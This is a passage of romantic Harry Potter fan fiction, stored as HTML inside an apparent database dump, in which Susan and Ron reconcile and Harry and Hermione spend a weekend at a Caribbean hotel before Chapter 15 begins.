I&#8230;appreciate&#8230;your concern\nbut I can take care of myself.&#8221; Her voice also lowered in volume. &#8220;I&#8217;ll be\nfine, with or without Harry.&#8221; She turned and walked up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan took a deep\nbreath as she knocked on the door to Ron&#8217;s house. When no one answered, she\nknocked again, and then heard footsteps approaching. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Susan.&#8221; Ginny\nWeasley&#8217;s red head peeked out from around the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hallo Ginny.&#8221;\nSusan replied softly. &#8220;Is your brother home?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny&#8217;s eyes\nwidened. &#8220;Are you sure you want to talk to him?&#8221; she asked, opening the door so\nSusan could step through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have to.&#8221;\nSusan replied. &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well the other\nnight he came home in such a rage, I&#8217;ve never seen him so angry before&#8230;but he\nwouldn&#8217;t tell any of us why. He&#8217;s still furious about whatever it was.&#8221; Ginny\nsaid, her voice hushed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan paled. &#8220;Ron\nsaw me with another guy, it was a favour I was doing for Hermione and he got\nthe wrong idea.&#8221; She leaned up against the wall, putting her hand to her\nforehead. &#8220;I just need to tell him&#8230;that what he saw was a mistake. I need to\ntell him how much I love him and that I want to be with him so badly I can&#8217;t\nstop thinking about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well he&#8217;s on the\nroof right now; at least I think he is.&#8221; Ginny said. &#8220;Things stopped banging\naround in his room about an hour ago.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Susan\nsaid as she began to climb the stairs. The door to Ron&#8217;s room was shut but not\nlocked, and she inched it open slowly. His room was empty, but the ladder\ndescending from the ceiling indicated that Ginny had been right; he was up on\nthe section of roof right above the room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can do\nthis.&#8221; Susan coached herself softly as she began to quietly climb up the\nladder. Her head came through the hole and she saw Ron sitting near the edge,\nhis knees pulled up tight against his chest and his arms locked around them. He\nwas wearing the ratty green sweater she had made for him when they had been\ngoing out for a year; Susan took that as a good sign. She stepped out on the\nroof, trying to be quiet so he wouldn&#8217;t hear her, but her foot came right down\non a creaky shingle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron was startled\nout of his trance by the loud creak. He turned and saw the last person he\nexpected to see coming up the ladder. He looked at Susan for a very long moment,\nand then wordlessly turned back away. She was probably coming to tell him all\nabout the new man in her life, and he didn&#8217;t want to hear any of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sucked in a\nbreath; well perhaps this would not be as easy as she thought. Still, she kept\nmoving until she was right next to him, and then sat down. They were silent for\na few more long moments, until Susan finally spoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, can we\nplease talk?&#8221; she asked, settling back on the roof.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron grunted.\n&#8220;What could we possibly have to talk about?&#8221; he asked, his voice sharp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A lot of\nthings.&#8221; Susan replied. &#8220;I want to tell you the truth about what you saw last\nnight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He only shrugged\nand continued to look straight ahead. &#8220;What is there to tell? You&#8217;ve moved on.&#8221;\nRon&#8217;s tone was flat and emotionless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well for\nstarters, there&#8217;s the fact that last night I was only doing Hermione a favour,\nthat man you saw me with was a friend of Harry&#8217;s.&#8221; Susan said, her voice\ngrowing stronger. &#8220;I was telling him about you and I got upset.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue&#8230;.&#8221; Ron said,\nhis voice trailing off. &#8220;I just don&#8217;t know what I should believe about you\nanymore. We&#8217;ve been through too much to be together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron that&#8217;s not\ntrue.&#8221; Susan said, a flurry of panic rising up in her. &#8220;Please, just let me\ntell you everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everything?&#8221; Ron\nturned to her. &#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I mean\neverything. About last night, about why I fainted, about how I missed you so\nmuch&#8230;.&#8221; Susan said. She gently put her hand on his arm and was relieved when he\ndidn&#8217;t shrug away. &#8220;Last night, like I said, I was just doing a favour for\nHermione. She asked me to double with her and Harry with this guy Dean. He and\nI aren&#8217;t together. Ron, there is no way I could get over you in just a week&#8217;s\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; his\nvoice came out somewhat thick, but hopeful. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, really.&#8221;\nSusan replied. &#8220;We&#8217;ve been together since our 6th year at Hogwarts,\nand that means the world to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then why are you\nso scared to marry me?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan paused for\na moment before replying. &#8220;It&#8217;s just that I&#8217;m scared of how our lives will be\nonce we ARE married&#8230;what if I have kids and grow fat and ugly and you get bored\nwith me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Susan, I&#8217;ll\nnever be bored with you.&#8221; Ron said immediately. &#8220;How could you think that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She hung her\nhead. &#8220;I don&#8217;t know. And I wish I hadn&#8217;t thought like that.&#8221; Now she inched\ncloser and rested her head against his shoulder. &#8220;Ron, I can&#8217;t keep on going\nwithout you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t like\nbeing without you either.&#8221; Ron admitted. &#8220;But I can&#8217;t just keep up the\nrelationship the way it&#8217;s going. I don&#8217;t like having this casual sex; I want to\nstart a family with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan was quiet.\n&#8220;I&#8217;ve done a lot of thinking over the last few days, and especially after last\nnight. I need you Ron. I really need you in my life. You still want to get\nmarried? Then let&#8217;s plan a date and do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do I know I\ncan believe you?&#8221; Ron asked. &#8220;I mean, say we get back together, in one week you\ncould be back to the way you were.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then let&#8217;s go\nright now.&#8221; Susan stood up. &#8220;Get your broom and we&#8217;ll go right this second and\nget married somewhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Ron\nlooked flabbergasted. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I mean it.&#8221;\nSusan looked determined. &#8220;Let&#8217;s go get married.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron reached his\nhand out and grabbed hers. &#8220;Susan&#8230;we don&#8217;t have to get married right this\nsecond. I believe you when you say you will.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You do?&#8221; Susan\nasked, sitting back down but not removing her hand from his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I do.&#8221; Ron\nfinally smiled at her. &#8220;That you are willing to go and do this right now proves\nit to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan stared at\nhim a moment, and then a huge grin broke across her face. &#8220;Ron Weasley I love\nyou!&#8221; She shrieked, flying over at him. Ron fell back, laughing as he wrapped\nhis arms around her waist. She put both her hands on the side of his face and\nheld it as she brought her mouth to his. Susan shifted her body on top of Ron&#8217;s\nas he responded to her kiss, opening his mouth to invite her tongue inside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She moaned softly\nas his hands splayed across her back and moved up and down. Ron&#8217;s touch was\nmaking her mad, she wanted to be with him so badly she could almost taste it.\nSusan pressed her mouth harder against his and fisted her hands in his hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sue&#8230;&#8221; Ron said\nbreathlessly as he regretfully tore his mouth from hers. &#8220;Susan want to go back\nto my room?&#8221; his eyes were extremely lustful as he looked up at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to?&#8221;\nshe was surprised. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh huh&#8230;&#8221; he\nanswered huskily, kissing her again, then pulling her to her feet. Susan jumped\ndown the ladder, pulling her wand from her pocket and muttering a locking\ncharm. Ron tripped down after her, pulling the door to the roof shut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get over here!&#8221;\nhe grinned, pulling her body tightly against his. Susan giggled softly and\nraised her lips to his again. They kissed passionately for a few more minutes,\nand then Ron pushed her over onto his bed. Susan landed with a soft oomph and\nhe fell on top of her, hooking his fingers under the hem of her shirt and\nlifting it over her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And a few moments\nlater, the two of them were indefinitely &#8216;back together&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s hand was\nresting on her waist, his thumb stroking up and down absentmindedly on her back\nthrough her shirt. Hermione smiled to herself and tried not to fidget as he\ndutifully filled out the information on the hotel slip. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the next\nstation, Oliver Wood was trying to fill in his own slip, but his eyes kept darting\nto Hermione&#8217;s legs sticking out beneath her short skirt she was wearing. She\nwas gorgeous, that was for sure. Oliver bit his lip to keep from smiling as he\nnoticed Harry&#8217;s hand on her waist, as if staking his claim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s pretty.&#8221;\nJenn was saying. &#8220;Don&#8217;t you think, Oliver?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;yeah.&#8221; Oliver\nmuttered. He bent over the slip once more as Jenn sidled up next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hurry up&#8230;&#8221; she\nwhispered in his ear. &#8220;I can&#8217;t wait to see our room.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Oliver\nsaid, grinning at his girlfriend, his thoughts of Hermione flying from his head\nas Jenn leaned against the counter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione drummed\nher nails idly on the counter as Harry signed the slip with a flourish. The\nclerk took it and handed them two cards, one of which Harry handed to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the hell are\nthese?&#8221; she asked, turning the card over in her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Apparently some\nsort of key.&#8221; He replied. &#8220;Strange, how these Muggles do things.&#8221; Harry added\nquietly. Oliver and Jenn joined them a few moments later. &#8220;What are you two up\nfor tonight?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oliver looked at\nJenn. &#8220;Want to go walk around the town for a bit?&#8221; he suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.\n&#8220;Sure, that sounds great&#8230;how about we meet up in ten minutes?&#8221; he asked as they\napproached their adjoining rooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; Oliver\nand Jenn waved as they disappeared into their room. Harry turned to their door\nand shoved the key in the tiny slot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How the bloody\nhell did they do that thing?&#8221; he muttered as the door buzzed but refused to\nunlock. Harry jammed the card back in and yanked it out quickly, but the door\nstill remained locked. He looked up at Hermione who was smirking. &#8220;Think that&#8217;s\nfunny do you?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Quite.&#8221; She\nanswered, taking her own card out of her pocket and sliding it into the slot. A\nmoment later, she pulled it back out and the little light on the lock turned\ngreen. &#8220;Ta da!&#8221; she announced, opening the door. Harry stared at her as she\npicked her up her small bag and proceeded inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did you do\nthat?&#8221; he asked, bringing in his own suitcase and settling it against the wall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I followed the\ninstructions on the back of the card.&#8221; She replied smartly. &#8220;It&#8217;s really not\nhard.&#8221; Harry flipped the switch and soft, dim light filtered through the room.\nHermione&#8217;s eyes widened in appreciation as she glanced around, taking in the\nlarge, king size bed, the open doors to the balcony outside, and the large hot\ntub in the bathroom. &#8220;What a room&#8230;this must be where celebrities stay&#8230;OOOH!&#8221;\nshe let out a squeal as Harry grabbed her around the waist and spun her body up\nagainst his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who cares where celebrities\nstay?&#8221; he asked as he pressed his mouth against hers.&nbsp; Hermione immediately wrapped her arms around his neck as he slid\nhis hands around her and up her back. She kissed him back with a passion that\nsurprised even herself. Harry began to back her up so that he could push her\nagainst the wall, but Hermione stumbled over his suitcase and would have fallen\nif it weren&#8217;t for his grip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ouch.&#8221; She\nmuttered as she rubbed her ankle. &#8220;I cannot believe you have a bigger bag than\nI do, shouldn&#8217;t it be the other way around? Will I have enough clothing for\nthis weekend?&#8221; Hermione&#8217;s tone turned worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed.\n&#8220;I&#8217;m sure you will, and if you don&#8217;t, you can charge anything you want in the\nshops downstairs to the room. This whole weekend is on me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s lips\ncurved up in a smile. &#8220;Everything is ALWAYS on you.&#8221; She said, poking him with\nher index finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know what I\nlike best on me?&#8221; Harry asked, his emerald eyes lighting up as he brought her\nbody up to his again. &#8220;You.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nsnickered and raised her lips to his. &#8220;I&#8217;ll agree with that.&#8221; She said, as he\nwhirled her around the room for a few moments then gently dropped her on the\nbed. She pulled on his shirt and he fell down on top of her, immediately\nravaging her lips. Harry loved kissing Hermione; to him it was the greatest\nfeeling, well, next to making love to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a few\nminutes of some deep, heavy snogging, Hermione suddenly pushed him away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We forgot about\nOliver and Jenn!&#8221; she said, looking up at him. Harry smirked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I doubt we&#8217;ll be\nseeing them again tonight, you put those two in a room together and it&#8217;s only a\nmatter of moments before they&#8217;re going at it.&#8221; At that moment, almost as if on\ncue, a loud thud was heard against the wall, followed by some feminine\ngiggling. Harry looked back down at Hermione, an &#8216;I told you so&#8217; expression on\nhis face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see.&#8221;\nHermione&#8217;s own expression was one of amusement. &#8220;Maybe we should follow their\nexample later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Later?&#8221; Harry\nasked, his eyebrows shooting up. &#8220;What do you mean, later, we were doing pretty\nwell just a second ago&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m hungry.&#8221;\nHermione said, pushing Harry up so she could sit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Harry felt\nat a loss for words as she walked across the room to the table. &#8220;I&#8217;m hungry\ntoo.&#8221; He got up from the bed and came up behind her, resting his chin on her\nshoulder as she opened the menu. &#8220;Here get that.&#8221; Harry brought one hand around\nand pointed at the most expensive item.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t need to\nget that.&#8221; Hermione said. &#8220;Besides, it cost too much. You&#8217;re just spoiling me.&#8221;\nShe turned her head halfway and smiled at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled back\nfrom her. &#8220;Well if you don&#8217;t like it&#8230;&#8221; he turned away and started to walk back\nacross the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione dropped\nthe menu on the table and grabbed his hand. Spinning him back around, she kissed\nhim hard. &#8220;I didn&#8217;t say I didn&#8217;t like it.&#8221; She pushed Harry back across the\nroom, onto the bed. Practically leaping on top of him, Hermione straddled him\nand leaned down. &#8220;I don&#8217;t feel so hungry anymore, not for food at least&#8230;&#8221; she\nwhispered in his ear. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*** The Next\nMorning***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stretched\nas luxuriously as possible without waking Hermione, who was sleeping with one\narm slung across his chest and her head on his shoulder. He smiled as he looked\ndown at her, she was such an incredible person and he had never been happier\nsince the day he searched her out. He leaned over to kiss her awake when a\nflourish of wings distracted him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A large white owl\nwas swooping in the open window. Harry immediately recognized it as his\nfamily&#8217;s owl, Theseus. He groaned inwardly and sneaked his arm out from\nunderneath his peacefully sleeping girlfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>-Harry</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\nhave arranged with your school that you shall return in two weeks time. The\nrecord of your test shall be taken from your record. Do not mess up this chance;\nit&#8217;s the only one you have left.</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>-James</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted as\nhe read the note. &#8220;He couldn&#8217;t even sign it as Dad.&#8221; He muttered and balled up\nthe note. He was about to throw it across the room when Hermione yawned loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the\nmatter?&#8221; she asked, mid yawn. Harry silently handed her the ball of paper and\nrolled out of bed as she unfolded and read it. He went across the room to look\nout the window at the early morning sun of the calm, quiet Caribbean island.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My guess is that\nyou don&#8217;t want to go back.&#8221; Hermione said, coming up behind him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good guess.&#8221;\nHarry replied. He folded his arms over his bare chest and sighed, thudding his\nforehead against the glass. &#8220;He&#8217;s trying to run my life again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed\ntoo; she didn&#8217;t want Harry to feel bad. &#8220;I have an idea!&#8221; she exclaimed a\nmoment later. She crumpled the note back up and threw it into the wastebasket. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that?&#8221;\nHarry asked, turning around, a slight smile crossing his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well for\nstarters, since we never got any food last night, let&#8217;s have breakfast in bed,\nthen we&#8217;ll get our bathing suits on and go out to the beach&#8230;.&#8221; Hermione\nstarted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I like this idea\nso far&#8230;&#8221; Harry wrapped his arms around her waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned and\ncontinued. &#8220;Then we rent one of those&#8230;what do you call them&#8230;those little things\nyou ride out into the ocean&#8230;. um&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wave runners?&#8221;\nHarry asked. &#8220;I think that&#8217;s what they&#8217;re called.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes that&#8217;s it.&#8221;\nHermione said. &#8220;And then we&#8217;ll lie on the beach again, then come back here and\nshower&#8230;.&#8221; She rattled on and Harry grinned. Hermione was perfect to help him\nforget his troubles. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;and then we&#8217;ll\nall have dinner somewhere quiet and&#8230;&#8221; she was cut off by Harry&#8217;s mouth on hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about we try\nthat shower idea out first?&#8221; he asked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well woo\nhoo, look at those two! Actually, both couples ;) Hahaha </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Don&#8217;t forget to\nleave a review!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next up: Lav and\nHenry have an &#8216;evening&#8217;&#8230;dum da dum dum&#8230;. And someone comes home from a trip&#8230;eek!</p>\n\n\n\n\n\n\n'),
	(88, 15, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 15</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well I do\napologize for the delay in this chapter&#8230;. No H/Hr, sorry! But we do get some\nR/S and L/H&#8230;. dun dun dun dun&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to\neveryone who reviewed! Please make sure and check out my other stories, as well\nas Ryoko Blue&#8217;s, AND our joint account, we&#8217;ve got two GREAT stories on there!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan raised her\narm and knocked on the door to the Bower&#8217;s house. Lavender answered the door\nafter a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi you guys!&#8221;\nshe said, her eyes bright. She opened the door and let Susan and Ron inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So&#8230;&#8221; Susan said\nslyly, looking at Lavender. &#8220;Why exactly did you need me to baby-sit tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because&#8230;&#8221;\nLavender felt tongue-tied. &#8220;Henry and I are going up to see if Charles\nRochester really haunts the house he&#8217;s remodelling.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No one.&#8221;\nLavender said, blushing furiously. She grabbed her cloak, and put it on.\n&#8220;Lori&#8217;s playing in the other room, she&#8217;s probably pretty tired and will go to\nbed soon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nSusan said, smiling as she leaned back against Ron. He put his arm around her\nwaist. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender grabbed\na pizza box. &#8220;Well I&#8217;m meeting him over there&#8230;thanks again you guys!&#8221; and with\nthat she gave a hurried wave and was out the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron stared after\nher for a moment. &#8220;Sue&#8230;what&#8217;s going on with her?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan sighed.\n&#8220;Isn&#8217;t it obvious Ron? I just hope she&#8217;ll be okay&#8230;.&#8221; She shook her head and\nthen pulled her cloak off and put it on the chair in the hallway. They went\ndown to the living room where Lori was sitting on the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi!&#8221; Lori beamed\nup at them. With her blond hair and large blue eyes, she was a beautiful child.\nSusan grinned back and sat down next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\nreading?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lori held the\nbook up. &#8220;Lavender gave this to me.&#8221; It was a book called &#8220;Mr. Snuffles goes to\nthe Shrieking Shack&#8221;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Does she read it\nto you?&#8221; Susan asked, looking up at Ron who had sprawled on the sofa.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh huh.&#8221; Lori\nsaid. &#8220;She even does voices.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really!&#8221; Susan\nexclaimed. &#8220;Would you like me to try?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay!&#8221; the young\ngirl said, sitting next to her and leaning against Susan&#8217;s shoulder. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 